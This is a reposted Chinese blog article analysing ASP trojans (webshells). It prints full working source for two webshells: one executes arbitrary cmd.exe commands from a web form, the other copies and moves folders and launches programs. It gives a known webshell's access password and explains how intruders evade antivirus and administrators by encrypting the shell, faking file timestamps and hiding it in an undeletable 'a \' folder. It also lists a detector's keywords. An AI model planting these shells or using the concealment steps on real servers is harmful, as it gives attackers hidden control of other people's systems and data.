Asp木马技术分析

本文涉及的产品
密钥管理服务KMS,1000个密钥,100个凭据,1个月
简介:
Asp木马技术分析
   现在很多的站点,为便于建站和后台管理,都使用ASP动态程序。但这也为整个站点的安全带来很大隐患,现在典型的网站攻击就是通过植入ASP木马,从而得到系统的控制权。早期的asp木马一般有数个文件,随着asp木马的易用性、隐蔽性以及强大的可执行性,因此得到越来越的黑客和入侵者的青睐,asp木马技术也就水涨船高,现在的asp木马文件已经集成到一个文件,其大小也就二三十k,而且可以通过使用“asp木马免杀工具2.0”等软件来对asp源程序进行加密等方法,躲过防毒软件对其的查杀。下面就对目前比较流行的木马技术、木马软件以及木马防杀毒技术进行介绍。
(一)木马核心技术介绍
Asp木马中最核心的技术就是利用脚本创建对象,然后利用cmd.exe命令来执行对文件的创建、删除以及修改等操作。下面就目前较为流行的利用FSO以及不利用FSO技术的木马程序源代码进行介绍。
说明:FSO是对F ileSystemObject的简称,IIS4以及后续版本中 ASP 的文件操作都可以通过 F ileSystemObject 实现 包括文本文件的读写目录操作、文件的拷贝改名删除等。 F ileSystemObject带来方便的同时,也具有非常大的风险性, 利用 F ileSystemObject 可以篡改并下载Fat以及FAT32分区上的任何文件,即使是ntfs,如果没有对权限进行很好的设置,同样也能遭到破坏。
1.使用FSO技术的asp木马
<%@ LANGUAGE="VBSCRIPT"  codepage ="936" %>
 <%
   Dim oScript
   Dim oScriptNet
   Dim oFileSys, oFile
   Dim szCMD, szTempFile
    On Error Resume Next
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
    szCMD = Request.Form(".CMD")
   If (szCMD <> "") Then
        szTempFile = "C:\" & oFileSys.GetTempName( )
     Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)   '使用Run方法创建一个新的进程, 隐藏窗口并激活另一窗口 返回由应用程序返回的任何错误代码
     Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) '打开临时文件szTempFile
    End If
 %>
 <HTML>
<body bgcolor="#C0C0C0" text="#000000">
 <FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
 <input type=text name=".CMD" size=45 value="<%= szCMD %>">
 <input type=submit value="执行" class=input>
 </FORM>
 <PRE>
 <%
   If (IsObject(oFile)) Then
     ' -- Read the output from our command and remove the temp file -- '
     On Error Resume Next
     Response.Write Server.HTMLEncode(oFile.ReadAll) '在网页上输出命令执行的结果
     oFile.Close
    Call oFileSys.DeleteFile(szTempFile, True) '删除临时文件szTempFile
  End If
%>
</BODY>
</HTML>
使用FSO技术的木马通过下面的代码来创建WSCRIPT.SHELLWSCRIPT.NETWORK Scripting.FileSystemObject,然后通过Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)来调用常用的deletecopydirnetnetstat等一些DOS命令。
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
其原型为:
cmd.exe /c dos命令” > “文件名称”
如要查看c盘所有文件并将查看结果输出到viewdrive_c.txt的命令为:
cmd.exe/c  dir  c:\ >viewdrive_c.txt
说明:>”是将命令执行的结果输入到一个文件。“文件名称”中如果没有指定路径则默认保存在当前目录下。
注意:在输入的命令之间要留一个空格。
利用FSO技术的asp木马程序的原理为:从asp页面获取输入的Dos命令,然后分别创建WSCRIPT.SHELLWSCRIPT.NETWORK Scripting.FileSystemObject三个脚本对象,接着执行Dos命令解释器并执行所输入的Dos命令,并将输入其命令的执行结果到一个临时文件(szTempFile),然后打开临时文件并将其结果回显在网页上,最后删除临时文件。运行结果如图1所示。
2.非FSO技术的asp木马
<form action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=text value="<%=szCMD %>" size="20">  <font class=fonts>输入要浏览的目录,最后要加\</font><br>
<input type=text name=text1 value="<%=szCMD1 %>" size="20">copy
<input type=text name=text2 value="<%=szCMD2 %>" size="20"><br>
<input type=text name=text3 value="<%=szCMD3 %>" size="20">move
<input type=text name=text4 value="<%=szCMD4 %>" size="20"><br>路径:
<input type=text name=text5 value="<%=szCMD5 %>" size="20">程序:
<input type=text name=text6 value="<%=szCMD6 %>" size="20"><br>
<input type=submit name=sb value=发送命令 class=input>
</form>
</table>
</center>
</body>
</html>
<%
szCMD = Request.Form("text")   '目录浏览
if (szCMD <> "")  then
set shell=server.createobject("shell.application") '建立shell对象
set fod1=shell.namespace(szcmd)
set foditems=fod1.items
for each co in foditems
response.write "<font color=red>" & co.path & "-----" & co.size & "</font><br>"
next
end if
%>
<%
szCMD1 = Request.Form("text1")  '目录拷贝,不能进行文件拷贝
szCMD2 = Request.Form("text2")
if szcmd1<>"" and szcmd2<>"" then
set shell1=server.createobject("shell.application") '建立shell对象
set fod1=shell1.namespace(szcmd2)
for i=len(szcmd1) to 1 step -1
if mid(szcmd1,i,1)="\" then
   path=left(szcmd1,i-1)
   exit for
end if
next
if len(path)=2 then path=path & "\"
path2=right(szcmd1,len(szcmd1)-i)
set fod2=shell1.namespace(path)
set foditem=fod2.parsename(path2)
fod1.copyhere foditem
response.write "command completed success!"
end if
%>
<%
szCMD3 = Request.Form("text3")   '目录移动
szCMD4 = Request.Form("text4")
if szcmd3<>"" and szcmd4<>"" then
set shell2=server.createobject("shell.application") '建立shell对象
set fod1=shell2.namespace(szcmd4)
for i=len(szcmd3) to 1 step -1
if mid(szcmd3,i,1)="\" then
   path=left(szcmd3,i-1)
   exit for
end if
next
if len(path)=2 then path=path & "\"
path2=right(szcmd3,len(szcmd3)-i)
set fod2=shell2.namespace(path)
set foditem=fod2.parsename(path2)
fod1.movehere foditem
response.write "command completed success!"
end if
%>
<%
szCMD5 = Request.Form("text5")    '执行程序到指定路径
szCMD6 = Request.Form("text6")
if szcmd5<>"" and szcmd6<>"" then
set shell3=server.createobject("shell.application") '建立shell对象
shell3.namespace(szcmd5).items.item(szcmd6).invokeverb
response.write "command completed success!"
end if
%>
以上代码运行结果如图2所示。不使用FSO技术的ASP木马是创建一个Shell.Application对象,然后通过shell.namespace来对创建的对象进行操作。通过使用该种方法虽然不能执行netdel以及netstat等命令,但是它可以复制、移动文件及其文件夹以及执行系统中存在的特定程序。不过在每执行一次应用程序时都会打开一个进程,而且可能会报错,通过任务控制器可以查看其打开的进程。
说明:Shell.Application对象提供了 NameSpace( 文件夹名 )、CopyHere(< >[, 选项标志 ]) MoveHere(< >[, 选项标志 ])方法。NameSpace()方法可以得到文件夹的属性,CopyHere()和MoveHere()分别对文件夹进行拷贝和移动。
(二)常用的asp木马软件
1.海阳顶端网asp木马
在众多的asp木马中,海阳顶端网asp木马应该是比较成熟的,也是用得最多的asp木马,就其版本而言,到目前为止已经推出了数个版本:海阳顶端网asp木马第一版、海阳顶端网asp木马xp版、海阳顶端网asp木马xp-net版、海阳顶端网asp木马2003版、海阳顶端asp木马安装插件版以及海阳顶端网asp木马2005版。早期的海阳顶端网asp木马一般都有数个asp文件,后期的asp木马把所有的文件都集成到一个文件中了,例如xp版和xp-net版集成后的文件大小也就二十多k。海阳顶端网asp木马是用asp脚本语言编写,提供在线更改、编辑、删除任意文件。如果服务器上存在asp木马程序,那么该服务器基本上就#¥%了。海阳顶端网asp木马xp-net版初次运行界面如图3所示,在下方的输入密码框中输入“haiyangtop.126.com”后可以使用其集成功能的界面(图4)。在该界面中可以方便的切换盘符,浏览、编辑、删除和复制指定盘符下所选中的文件。使用该木马来操作文件就如同在本机上操作文件一样方便。
2asp木马免杀工具2.0
    asp木马免杀工具2.0是一款对asp源代码进行加密的工具(图5)。大小为545k,其中asp.exe为主程序,运行程序后选择源木马文件,然后先单击“转换”,最后单击“加密”即可生成一个加密的asp木马网页文件。
3.思易ASP木马追捕2.0
思易ASP木马追捕2.0主要对文件中是否存在FSOdeletefoldershell.applicationwscriptxmlhttpvbscript.encodeadodb.stream对象或者使用了其中的某些方法进行检查,可以对利用变量创建对象、静态对象以及自定义的关键字等进行搜索。不过该程序当对较大文件的检索可能导致IIS停止响应,甚至可能导致服务器宕机,其运行界面如图6所示。
(三)asp木马防毒技术
     在攻克主机植入asp木马后,为了保护好自己的战利品,防止系统管理员发现,黑客一般情况下都会对asp木马进行保护,往往通过加密、更改时间以及使用特殊字符等手段来逃过被杀毒软件的查出和避免系统管理员的发现。下面就对其经常使用的方法进行讲解。
 1.利用软件对asp源代码加密
目前有很多软件可以对asp源代码进行加密,例如 asp木马免杀工具2.0等。其原理是采用一定的算法将源代码或者源代码中的关键字进行某种转换,经过转换后,源代码已经变为乱码或者显示为特定的字符形式。但是随着杀毒技术的提高和版本的升级,经过加密后的asp木马仍然不能保证躲过杀毒软件的查杀。
2.修改asp木马文件的时间
asp木马上传到服务器后,即使非常隐蔽,但是其文件修改时间的变化在正常文件中很容易被发现,因此 有人通过修改木马源程序文件的时间跟在服务器上的正常文件的时间一致来逃过被管理员发现。
3.利用特殊字符 "\" 来保护asp木马
Windows在设计时已经考虑到不能使用“\”来作为文件及其文件夹的名字,但是在使用cmd.exe命令来创建文件时,如果其文件名中包含了“\”,则该文件名中的“\”将被忽略,但是所建立的文件夹还是会成功,只是不会显示“\”(图7)。利用 "\"字符来保护asp木马文件的原理为:在IIS设置的目录下创建一个形入“a \”的文件夹,然后将木马文件复制到该文件夹中。复制成功后,可以在浏览其中输入如下地址运行木马文件:[url]http://localhost/aspmuma/[/url]asp.../xp.asp
说明:其中我们将xp.asp木马文件复制到“asp /”目录中,其创建命令如下:
mkdir a \
copy xp.asp a \
创建成功后,可以在浏览器中看到一个为“a”的文件夹,但不能打开和删除该文件夹,从而达到保护asp木马文件的目的。



 本文转自 simeon2005 51CTO博客,原文链接:http://blog.51cto.com/simeon/46572
相关文章
|
5月前
|
开发框架 搜索推荐 前端开发
【.NET全栈】ASP.NET开发Web应用——Web部件技术
【.NET全栈】ASP.NET开发Web应用——Web部件技术
|
6月前
|
JSON 开发框架 前端开发
技术经验分享:ASP.NETCoreMVC打造一个简单的图书馆管理系统(修正版)(七)学生信息增删
技术经验分享:ASP.NETCoreMVC打造一个简单的图书馆管理系统(修正版)(七)学生信息增删
37 0
|
开发框架 JSON 前端开发
6.3 ASP.NET Core Web API技术选择
ASP.NET Core Web API技术选择
6.3 ASP.NET Core Web API技术选择
|
开发框架 .NET
技术关于asp运行环境搭建
技术关于asp运行环境搭建
|
Web App开发 .NET
艾伟_转载:ASP.NET模板引擎技术
  以前听我朋友说起php的模板引擎技术的时候似懂非懂哪时感觉真的很强,一直在想asp.net有这种技术吗?我不知道我的理解是不是对的.其实 asp.net的模板引擎技术就是先建好一个静态的html页面我们称它为模板页,你如果有不同形式的页面哪就得建立不同的静态模板页,然后在后台用文件操作往这个文件里写东西然后在把这个模板页另存到一个静态页面的目录,不好意思可能我的理解太俗,如果有更好的理解和想法可以在apolov发文章告诉我谢谢。
1192 0
|
Web App开发 SQL 前端开发
一起谈.NET技术,鲜为人知的ASP.NET MVC 2.0框架高效之谜
  要想建立开发环境,你需要安装Visual Studio 2008/2010 Beta 2,以及SQL Express 2005(可免费从MSDN下载)和MVC 2.0框架。我把本文中的示例Web应用命名为“Employee Master Information”。
1015 0
|
存储 缓存 .NET
一起谈.NET技术,提高ASP.NET应用程序性能的十大方法
  一、返回多个数据集   检查你的访问数据库的代码,看是否存在着要返回多次的请求。每次往返降低了你的应用程序的每秒能够响应请求的次数。通过在单个数据库请求中返回多个结果集,可以减少与数据库通信的时间,使你的系统具有扩展性,也可以减少数据库服务器响应请求的工作量。
1230 0
|
安全 .NET Shell
ASP木马Webshell安全解决办案
注意:本文所讲述之设置方法与环境:适用于Microsoft Windows 2000 Server/Win2003 SERVER   IIS5.0/IIS6.0       1、首先我们来看看一般ASP木马、Webshell所利用的ASP组件有那些?我们以海洋木马为列:    〈object ru.
1543 0